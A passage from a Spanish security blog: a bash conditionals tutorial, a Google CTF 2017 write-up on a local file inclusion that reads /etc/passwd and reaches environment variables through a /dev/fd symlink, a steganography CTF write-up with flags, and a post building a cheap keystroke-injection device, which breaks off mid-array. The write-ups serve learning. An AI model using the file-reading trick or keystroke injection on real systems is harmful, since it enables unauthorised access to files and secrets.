Tutoriales sobre Bash Scripting III : Condicionales: if, elif, else, && y ||

En este capítulo hablaremos sobre los condicionales que tan importantes son a la hora de controlar el flujo de trabajo de nuestros scripts.

La sintaxis utilizando algo de pseudocódigo sería:

if condición
then
        echo "Me muestro si la condición es verdadera"
elif condición
then
        echo "Me muestro si la condición del primer if es falsa y la del elif es verdadera"
else
        echo "Me muestro si todas las condiciones anteriores son falsas"
fi

if condición; then echo "Me muestro si la condición es verdadera"; elif condición; then echo "Me muestro si la condición del primer if es falsa y la del elif es verdadera"; else; echo "Me muestro si todas las condiciones anteriores son falsas"; fi
condición && echo "Me muestro si la condición es verdadera"
condición || echo "Me muestro si la condición es falsa"
condición && echo "Me muestro si la condición es verdadera" || echo "Me muestro si la condición es falsa"

Como vemos la sintaxis es bastante sencilla y no muy distinta de la de otros lenguajes de programación o escripting.

Un detalle a tener en cuenta es que al then le ocurre lo mismo que al do de los loops, debe ir en la linea a continuación del if.

También se puede apreciar que el if se cierra con un fi al final de toda las instrucciones, no es necesario ponerlo antes de un else o un elif.

Veamos que es lo que substituiría a condición en el pseudocódigo anterior:

  • [ condición ]  : Este es el comando test tradicional de shell disponible en todas las shells POSIX. El comando test devuelve un exit code e if actúa en concordancia. Suele usarse para ver si un archivo/directorio existe o un número es igual a otro.
  • [[ condición ]] :Esta es una nueva variante soportada por bash, de nuevo el comando test devuelve un exit code con el cual if actúa. Entre sus opciones extendidas puede comparar si un string equivale a un expresión regular.
  • comando :Se ejecuta el comando e if actúa en función de su exit code.
  • ( comando ) :Este se ejecuta en una subshell. El comando devuelve un exit code e if actúa en base a él.  Usualmente se utiliza para limitar los efectos secundarios del comando en caso de que requiera asignación de variable u otros cambios en el entorno de la shell.
  • (( comando )) :Otra nueva variante soportada por bash utilizada para realizar operaciones ariméticas. Como resultado de la operación se genera un exit code e if actúa en consecuencia. Devuelve un exit code de 0 (True) en caso de que el resultado de la operación no sea cero.

La principal cosa que podemos ver con respecto a otras shell como sh son los modos [[ ]] y (( )), estos métodos no pertenecen a POSIX y pueden no funcionar en otras shells.

Otra diferencia con respecto a otros lenguajes de programación o escripting es la posibilidad de utilizar los exit codes de comandos para nuestras condiciones sin utilizar un if tal cual, seguramente habréis visto esto varias veces:

apt-get update && apt-get upgrade

Ahí donde lo veis eso es otro condicional:

  • && : Comprueba que el exit code sea cero.
  • || :Comprueba que el exit code sea distinto de cero.

Esto se utiliza sobre todo para encandenar comando donde queremos asegurarnos que el siguiente se ejecuta solo si el anterior fue exitoso (exit code 0). En el ejemplo anterior esto significa que si apt-get update se ejecuta correctamente entonces ejecutaremos apt-get upgrade.

Esto lo podemos combinar con la lista anterior para conseguir resultados como estos:

[ -f file.txt ] && echo "El archivo existe" || echo "El archivo no existe"

En este caso utilizaremos un condicional para comprobar si el archivo file.txt existe y en cada caso se mostrará el mensaje correspondiente.

Existen gran número de expresiones condicionales en bash, a continuación os dejo un listado:

  • -a archivo : True si el archivo existe.
  • -b archivo : True si el archivo existe y es un archivo de bloques.
  • -c archivo : True si el archivo existe y es un archivo de caracteres especiales.
  • -d archivo : True si el archivo existe y es un directorio.
  • -f archivo : True si el archivo existe y es un archivo regular.
  • -e archivo : True si el archivo existe.
  • -g archivo : True si el archivo existe y el bit set-group-id está marcado.
  • -h archivo : True si el archivo existe y es un enlace simbólico.
  • -k archivo : True si el archivo existe y el bit «sticky» esta marcado.
  • -p archivo : True si es un pipe tipo FIFO.
  • -r archivo: True si el archivo existe y se puede leer.
  • -s archivo : True si el archivo existe y su tamaño es mayor de cero.
  • -t fd : True si el file descriptor fd esta abierto y referencia a una terminal.
  • -u archivo : True si el archivo existe y el bit set-user-id esta marcado.
  • -w archivo : True si el archivo existe y se puede escribir.
  • -x archivo : True si el archivo existe y es ejecutable.
  • -G archivo : True si el archivo existe y pertenece al id de grupo en uso.
  • -L archivo : True si el archivo existe y es un enlace simbólico.
  • -N archivo : True si el archivo existe y fue modificado desde la última vez que fue leído.
  • -O archivo : True si el archivo existe y pertenece al usuario en uso.
  • -S archivo : True si el archivo existe y es un socket.
  • archivo1 -ef archivo2 : True si archivo1 y archivo2 hacen referencia al mismo dispositivo e inode.
  • archivo1 -nt archivo2 : True si archivo1 es más nuevo que archivo2 o si archivo1 existe pero archivo2 no.
  • archivo1 -ot archivo2 : True si archivo1 es mas viejo que archivo2 o si archivo2 existe pero archivo1 no.
  • -o nombreopt : True si la opción de shell nombreopt esta activada.
  • -v variable : True si la variable de shell  existe.
  • -R variable : True si la variable existe y es una referencia por nombre.
  • -z string : True si la longitud de string es cero.
  • -n string: True si la longitud de string es distinta de cero.

Cortita ¿verdad? ¡Pero si aun nos faltan las opciones para los strings y aritmética!

Comencemos con los strings:

  • string1 == string2  y string1 = string2 : True si los strings son iguales. El = se debe usar con el comando test conforme a POSIX.
  • string1 != string2 : True si los strings no son iguales.
  • string1 < string2 : True si la longitud de string1 es menor a string2.
  • string1 > string2 : True si la longitud de string1 es mayor a string2.

Y por último los operadores aritméticos binarios, que siguen la sintaxis arg1 OP arg2, donde los args pueden ser enteros positivos o negativos y OP es uno de los siguientes:

  • -eq : Igual.
  • -ne : No igual.
  • -lt : Menor que.
  • -le : Menor o igual que.
  • -gt : Mayor que.
  • -ge : Mayor o igual que.

Puede parecer que son muchísimas opciones para acordarse de todas pero como con todo o acostumbraréis a utilizar las más comunes muy rápidamente.

Espero os haya gustado este nuevo post de la serie sobre bash scripting y cualquier duda o comentario no dudéis en dejar un comentario.

Como siempre, gracias por vuestra visita, saludos!

Publicado en bash, tutorial | 2 comentarios

Google CTF 2017 – Mindreader

Este fin de semana fue el Google CTF 2017 donde Shellwarp nos clasificamos en un modesto 296º puesto jajaja Y es que el CTF de google no es ninguna broma, al menos puedo decir que este año hemos resuelto una de las pruebas cuyo writeup os traigo hoy.

Este era el enunciado:

Can you read my mind?

Challenge running at https://mindreader.web.ctfcompetition.com/

Pues vaya, no nos dice mucho. Veamos la web:

Mmm, pues no ha mejorado mucho la cosa, veamos el source:

Pues vaya por dios, muchas pistas no nos han dado. Veamos, tenemos un form que nos pregunta que queremos leer, probemos a meter algo aleatorio:

Archivo no encontrado, ¿sera un LFI? Probamos el típico /etc/passwd:

¡Bien! ¿Pero donde demonios estará la flag? Después de probar todos los archivos que se nos ocurren vemos que es un Debian 8 pero no podemos ver ni los logs ni los archivos de configuración, el .bashrc de root no nos dice nada …. Probamos a abrir /proc/version para ver que nos dice y:

Por fin algo distinto, parece que proc no nos permite leerlo ¿nos hará falta para encontrar la flag?

Entonces un compañero me comenta que las pruebas de web que ha mirado estaban hechas en python, así que empezamos a probar y nos encontramos con el archivo main.py:

Aquí había cambiado a curl para poder ver los archivos bien ya que en chrome los saltos de linea no aparecían.

El código nos dice que la flag está oculta en una variable de entorno llamada FLAG y que hay un filtro para que no podamos acceder a determinados sitios, entre ellos proc, el cual nos ayudaría a leer las variables de entorno.

Pero ¿hay otra manera de llegar a proc? En /dev existe un symlink a /proc/self/fd vamos a probar bajando un nivel y pidiendo environ que nos daría las variables de entorno:

¡Et voila! Ahí vemos las variables de entorno y con ella la flag:

CTF{ee02d9243ed6dfcf83b8d520af8502e1}

Decir que aquí pueda parecer que lo sacamos super fácil pero fueron horas de prueba y error, intentar otras pruebas, etc.

Espero os haya gustado y como siempre, gracias por vuestra visita.

Saludos!

Publicado en google ctf 2017, python, web, writeups | Deja un comentario

Follow the white rabbit CTF – Elliot «knows» everything

Nuevamente os traigo un writeup de una prueba que han hecho los conejos, en este caso viene de la mano de @belane.

Nos vamos a http://challenge.followthewhiterabbit.es:2345/ y nos encontramos con esto:

 Vale, tenemos 6 imagenes, ¿estego quizás? Veamos el source:

Vale, parece que hay otra imagen comentada. Vamos a descargarlas todas a ver si hay algo interesante:

for i in $(curl -s http://challenge.followthewhiterabbit.es:2345/ | egrep -o "<img src=[^>]*>" | sed 's/<img src=\"\([^"]*\).*/\1/g'); do wget http://challenge.followthewhiterabbit.es:2345/$i; done

Como todas están en png vamos a ver primero si hay algo raro en alguna de ellas, para ello utilizaremos pngcheck, una utilidad que comprueba que los png no tengan errores:

pngcheck *.png

Nos encontramos con esto:

Parece que solo una ha fallado, veamos que nos dice binwalk:

binwalk mr_2617.png

Interesante, tenemos un archivo zip, vamos a extraerlo utilizando dd (podríamos sacarlo con binwalk pasándole -e pero vamos a aprender un poco):

dd if=mr_2617.png of=output.zip bs=1 skip=1818192

Le decimos a dd que utilice como medida un byte y que se salte los 1818192 primeros bytes para que empiece a leer desde donde binwalk nos dice que empieza el zip. En caso de que hubiera mas información después del zip podríamos utilizar la opción count para extraer un número de bytes determinado (la diferencia entre el byte donde termina el zip y el byte donde comienza).

Intentamos descomprimir el archivo:

unzip output.zip

o 

7z x output.zip

Yo suelo preferir la opción de 7z ya que reconoce el tipo de compresión y te sirve para descomprimir diversos tipos de fichero con una sola herramienta.

El archivo tiene contraseña, mmm, ¿donde estará?. Vamos a empezar con exiftool y la imagen que contenía el zip a ver que nos dice:

Espera, ¿es eso binario? Vamos a probar a decodificarlo en http://www.asciitohex.com/:

Pues tiene toda la pinta, utilizamos «P4ssw0Rd_F1le.HL» como password y obtenemos el archivo que antes estaba comprimido, lo leemos y obtenemos la flag:

fwhibbit{rabbit-flag-1201dc1f15046f6e62f3eb338c92a}

Como nota final decir que esta solución no era la esperada y fue debido a un pequeño olvido ya que la password no debería de aparecer en plano sino que tendríamos que leerla de la imágen directamente.

Aquí podéis leer el writeup de David donde la resuelve de la forma en que la prueba estaba realmente diseñada.

Espero os haya gustado, como siempre, gracias por vuestra visita, saludos!

Publicado en ctf, estego, fwhibbit-ctf, web, writeups | Deja un comentario

ATtiny85 el famoso Cheap Rubber Ducky

Ayer me pedían que hiciera una lista de hardware para hacking por menos de 50 euros, y como le conteste, mirate mis últimos posts jeje Y es que cuando no podemos permitirnos dejarnos 200 euros en una Piña o 50 en un Rubber Ducky tenemos que buscarnos la vida y, para facilitaros vuestra búsqueda, he ido creando esta serie de post sobre hardware más o menos económico.

No hace mucho publiqué un post sobre como convertir un Arduino UNO en un Rubber Ducky, esto nos daba la posibilidad de darle una nueva vida a ese UNO que teníamos en un cajón pero muchos me comentaron que el tamaño no era precisamente ideal, y es cierto; la idea del UNO es para realizar pequeños tests y POCS para familiarizarnos con como funciona este dispositivo pero ¿y si os dijera que podéis tener un dispositivo del tamaño de un pendrive mediano que hace lo mismo? Este es el ATtiny85, conocido precisamente como el Cheap Rubber Ducky o Rubber Ducky barato, y es que el cacharrete en cuestión cuesta la friolera de ¡1.5 euros! O incluso más barato dependiendo de donde y cuantos compres.

El ATtiny85 es un microcontrolador de 8 bits basado en AVR-RISC que nos ofrece 8kb ISP de memoria flash, 512b EEPROM, 512b SRAM, 6 puertos I/O, 32 registros de trabajo, USI, interrupciones internas y externas, conversor de 10 bits y 4 canales, …. Vale, ya estamos todos en modo ameba y en la misma onda jeje Y es que, si como yo, no sabéis que significan la mitad de esas cosas seguramente no estáis buscando utilizarlo para algún proyecto complejo donde tenéis que escoger el microcontrolador que mejor se os adecue a vuestras necesidades. A nosotros lo que realmente nos interesa es que podemos hacer que este pequeñajo actúe como un teclado y realizar ataques del estilo Rubber Ducky, aquí os dejo una pequeña foto del mismo al lado de la Pi Zero para que podáis comparar tamaños:

Como podéis apreciar en mi caso el ATtiny85 viene con un puerto mini-USB hembra, también lo hay disponible con el conector en macho pero en mi caso la idea era ocultarlo como un dispositivo del estilo de una batería externa en lugar de hacerlo pasar por un pen drive por ejemplo.

Pero vamos al lío, y sin que sirva de precedente, esta vez he utilizado Windows para montar este proyecto, todos tenemos días malos. De todas maneras os dejaré las instrucciones para Linux aunque no las he testeado al 100%.

Lo primero, el software, como único requisito necesitaremos tener instalada la última versión del Arduino IDE, ojo los que usáis repositorios, en muchas distros utilizan una versión bastante vieja. De la misma manera que hicimos con el UNO debemos añadirle soporta a esta placa al IDE para ello iremos a Archivo -> Preferencias -> Gestor de URLs Adicionales de Tarjetas y añadiremos en una nueva linea lo siguiente:

http://digistump.com/package_digistump_index.json

Aceptamos, aceptamos y ahora nos vamos a Herramientas -> Placa -> Gestor de Tarjetas aquí filtraremos por el tipo contribución e instalamos Digistump AVR Boards. ¡Listo! Ya tenemos lo necesario instalado, a la hora de flashear nuestro ATtiny85 deberemos seleccionar la placa Digisparck (Default – 16.5 mhz) y, por raro que parezca, ningún puerto.

Esta vez la cosa no fue tan sencilla sin embargo a la hora de flashear por primera vez. Tanto en Windows como en Linux el ATtiny se conectaba y desconectaba el solo de forma continuada, llegue a pensar que venía mal. Y es que resulta que hay ciertas diferencias a la hora de flashear con respecto a un Arduino, la primera es que no necesitamos tener el ATtiny85 enchufado desde el principio, cuando hagamos click en Upload en la consola podremos ver que nos pide que enchufemos el mismo y una vez lo reconozca se encargara de flashearlo. ¿Comodo verdad? Si, siempre que te funcione a la primera. En mi caso tuve que descargar e instalar los siguientes drivers para windows (aquí), simplemente ejecutais el archivo install.exe y listo. En el caso de Linux es un pelín más complicado ya que, no solo necesitaréis la versión actual y legacy de libusb sino que en algunos casos tendréis que añadir unas reglas nuevas a udev, aquí tenéis la documentación con las instrucciones, por desgracia solamente en Inglés, cuando lo pueda probar actualizaré el post con los pasos que seguí.

Para hacer una primera prueba de que todo esto funciona vamos a probar el típico ejemplo de encender y apagar el led de la placa, para ello cargaremos el siguiente código de ejemplo (lo tenéis disponible también en el IDE en los ejemplos de DigiSpark):

// the setup routine runs once when you press reset:
void setup() {                
  // initialize the digital pin as an output.
  pinMode(0, OUTPUT); //LED on Model B
  pinMode(1, OUTPUT); //LED on Model A   
}

// the loop routine runs over and over again forever:
void loop() {
  digitalWrite(0, HIGH);   // turn the LED on (HIGH is the voltage level)
  digitalWrite(1, HIGH);
  delay(1000);               // wait for a second
  digitalWrite(0, LOW);    // turn the LED off by making the voltage LOW
  digitalWrite(1, LOW); 
  delay(1000);               // wait for a second
}

Copiamos el código en el IDE le damos a Upload (ctrl+u), enchufamos el ATtiny85 cuando nos lo pida y esperamos. En cuanto arranque de nuevo deberíamos ver un led fijo y el otro parpadeando cada segundo, si es así tenemos todo correcto, sino tendremos que hacer más troubleshooting y ver que ha pasado.

Ahora que ya tenemos todo preparado vamos a adaptar el ejemplo de hello world que utilizamos en el post del Arduino UNO y veamos que ocurre, utilizaremos el siguiente código:

#include "DigiKeyboard.h"

void setup() {
  DigiKeyboard.update();
}

void loop() {
  delay(1000);
  DigiKeyboard.update();
  delay(100);
  
  // meta+r, delete content, start powershell
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // meta+r
  delay(50);
  DigiKeyboard.println("notepad");
  delay(200);
  DigiKeyboard.println("hello world");
  
  delay(900000);
}

Una vez cargado el ATtiny85 abrirá el notepad y escribirá el mensaje «hello world».

En este caso seguimos teniendo el mismo problema que con el UNO, el layout del teclado es el de US lo cual puede causarnos problemas a la hora de escribir caracteres especiales.

Rebuscando por ahí me he encontrado con este repo el cual nos permite convertir un script de RubberDucky directamente a un archivo ino que podremos abrir en el IDE.

Para que funcione deberemos descargarnos a la misma carpeta el archivo encoder.js ya que no viene incluido. Para poder hacer un test editamos el script de bash example.sh y al final de la linea donde llama a encoder.js reemplazamos de (layaout alemán) por es (layout español), ejecutamos dicho script y veremos que nos muestra algunos errores ya que no todos los caracteres están soportados. Así mismo duck2spark tiene ciertas limitaciones y no soporta absolutamente todos los comandos de Rubber Ducky pero nos ayudará mucho.

Si os animáis a probarlo el ejemplo que viene incluido imprimirá por pantalla una seria de símbolos, números y letras, esto también nos ayudará a ver cuales son los que realmente están soportados para luego tenerlo en cuenta al crear nuestros propios payloads.

El código ya en formato ino del ejemplo es el siguiente:

/*
* Sketch generated by duck2spark from Marcus Mengs aka MaMe82
*
*/
#include "DigiKeyboard.h"

#define DUCK_LEN 2010
const PROGMEM uint8_t duckraw [DUCK_LEN] = {
	0x2c, 0x0, 0x1e, 0x2, 0x1f, 0x2, 0x34, 0x40, 0x21, 0x2, 0x22, 0x2, 0x23, 0x2, 0x35, 0x0, 0x2d, 0x0, 0x25, 0x2, 0x26, 0x2, 0x30, 0x2, 0x30, 0x0, 0x36, 0x0, 0x38, 0x0, 0x37, 0x0, 0x24, 0x2, 0x27, 0x0, 0x1e, 0x0, 0x1f, 0x0, 0x20, 0x0, 0x21, 0x0, 0x22, 0x0, 0x23, 0x0, 0x24, 0x0, 0x25, 0x0, 0x26, 0x0, 0x37, 0x2, 0x36, 0x2, 0x64, 0x0, 0x27, 0x2, 0x64, 0x2, 0x2d, 0x2, 0x33, 0x40, 0x4, 0x2, 0x5, 0x2, 0x6, 0x2, 0x7, 0x2, 0x8, 0x2, 0x9, 0x2, 0xa, 0x2, 0xb, 0x2, 0xc, 0x2, 0xd, 0x2, 0xe, 0x2, 0xf, 0x2, 0x10, 0x2, 0x11, 0x2, 0x12, 0x2, 0x13, 0x2, 0x14, 0x2, 0x15, 0x2, 0x16, 0x2, 0x17, 0x2, 0x18, 0x2, 0x19, 0x2, 0x1a, 0x2, 0x1b, 0x2, 0x1c, 0x2, 0x1d, 0x2, 0x2f, 0x40, 0x35, 0x0, 0x30, 0x40, 0x2e, 0x2, 0x2c, 0x0, 0x38, 0x2, 0x0, 0x0, 0x2c, 0x0, 0x4, 0x0, 0x5, 0x0, 0x6, 0x0, 0x7, 0x0, 0x8, 0x0, 0x9, 0x0, 0xa, 0x0, 0xb, 0x0, 0xc, 0x0, 0xd, 0x0, 0xe, 0x0, 0xf, 0x0, 0x10, 0x0, 0x11, 0x0, 0x12, 0x0, 0x13, 0x0, 0x14, 0x0, 0x15, 0x0, 0x16, 0x0, 0x17, 0x0, 0x18, 0x0, 0x19, 0x0, 0x1a, 0x0, 0x1b, 0x0, 0x1c, 0x0, 0x1d, 0x0, 0x2f, 0x40, 0x2, 0x0, 0x35, 0x2, 0x30, 0x40, 0x2, 0x0, 0x0, 0x0, 0x2c, 0x0, 0x1e, 0x2, 0x1f, 0x2, 0x34, 0x40, 0x21, 0x2, 0x22, 0x2, 0x23, 0x2, 0x35, 0x0, 0x2d, 0x0, 0x25, 0x2, 0x26, 0x2, 0x30, 0x2, 0x30, 0x0, 0x36, 0x0, 0x38, 0x0, 0x37, 0x0, 0x24, 0x2, 0x27, 0x0, 0x1e, 0x0, 0x1f, 0x0, 0x20, 0x0, 0x21, 0x0, 0x22, 0x0, 0x23, 0x0, 0x24, 0x0, 0x25, 0x0, 0x26, 0x0, 0x37, 0x2, 0x36, 0x2, 0x64, 0x0, 0x27, 0x2, 0x64, 0x2, 0x2d, 0x2, 0x33, 0x40, 0x4, 0x2, 0x5, 0x2, 0x6, 0x2, 0x7, 0x2, 0x8, 0x2, 0x9, 0x2, 0xa, 0x2, 0xb, 0x2, 0xc, 0x2, 0xd, 0x2, 0xe, 0x2, 0xf, 0x2, 0x10, 0x2, 0x11, 0x2, 0x12, 0x2, 0x13, 0x2, 0x14, 0x2, 0x15, 0x2, 0x16, 0x2, 0x17, 0x2, 0x18, 0x2, 0x19, 0x2, 0x1a, 0x2, 0x1b, 0x2, 0x1c, 0x2, 0x1d, 0x2, 0x2f, 0x40, 0x35, 0x0, 0x30, 0x40, 0x2e, 0x2, 0x2c, 0x0, 0x38, 0x2, 0x0, 0x0, 0x2c, 0x0, 0x4, 0x0, 0x5, 0x0, 0x6, 0x0, 0x7, 0x0, 0x8, 0x0, 0x9, 0x0, 0xa, 0x0, 0xb, 0x0, 0xc, 0x0, 0xd, 0x0, 0xe, 0x0, 0xf, 0x0, 0x10, 0x0, 0x11, 0x0, 0x12, 0x0, 0x13, 0x0, 0x14, 0x0, 0x15, 0x0, 0x16, 0x0, 0x17, 0x0, 0x18, 0x0, 0x19, 0x0, 0x1a, 0x0, 0x1b, 0x0, 0x1c, 0x0, 0x1d, 0x0, 0x2f, 0x40, 0x2, 0x0, 0x35, 0x2, 0x30, 0x40, 0x2, 0x0, 0x0, 0x0, 0x2c, 0x0, 0x1e, 0x2, 0x1f, 0x2, 0x34, 0x40, 0x21, 0x2, 0x22, 0x2, 0x23, 0x2, 0x35, 0x0, 0x2d, 0x0, 0x25, 0x2, 0x26, 0x2, 0x30, 0x2, 0x30, 0x0, 0x36, 0x0, 0x38, 0x0, 0x37, 0x0, 0x24, 0x2, 0x27, 0x0, 0x1e, 0x0, 0x1f, 0x0, 0x20, 0x0, 0x21, 0x0, 0x22, 0x0, 0x23, 0x0, 0x24, 0x0, 0x25, 0x0, 0x26, 0x0, 0x37, 0x2, 0x36, 0x2, 0x64, 0x0, 0x27, 0x2, 0x64, 0x2, 0x2d, 0x2, 0x33, 0x40, 0x4, 0x2, 0x5, 0x2, 0x6, 0x2, 0x7, 0x2, 0x8, 0x2, 0x9, 0x2, 0xa, 0x2, 0xb, 0x2, 0xc, 0x2, 0xd, 0x2, 0xe, 0x2, 0xf, 0x2, 0x10, 0x2, 0x11, 0x2, 0x12, 0x2, 0x13, 0x2, 0x14, 0x2, 0x15, 0x2, 0x16, 0x2, 0x17, 0x2, 0x18, 0x2, 0x19, 0x2, 0x1a, 0x2, 0x1b, 0x2, 0x1c, 0x2, 0x1d, 0x2, 0x2f, 0x40, 0x35, 0x0, 0x30, 0x40, 0x2e, 0x2, 0x2c, 0x0, 0x38, 0x2, 0x0, 0x0, 0x2c, 0x0, 0x4, 0x0, 0x5, 0x0, 0x6, 0x0, 0x7, 0x0, 0x8, 0x0, 0x9, 0x0, 0xa, 0x0, 0xb, 0x0, 0xc, 0x0, 0xd, 0x0, 0xe, 0x0, 0xf, 0x0, 0x10, 0x0, 0x11, 0x0, 0x12, 0x0, 0x13, 0x0, 0x14, 0x0, 0x15, 0x0, 0x16, 0x0, 0x17, 0x0, 0x18, 0x0, 0x19, 0x0, 0x1a, 0x0, 0x1b, 0x0, 0x1c, 0x0, 0x1d, 0x0, 0x2f, 0x40, 0x2, 0x0, 0x35, 0x2, 0x30, 0x40, 0x2, 0x0, 0x0, 0x0, 0x0, 0xff, 0x0, 0xf5, 0x28, 0x0, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 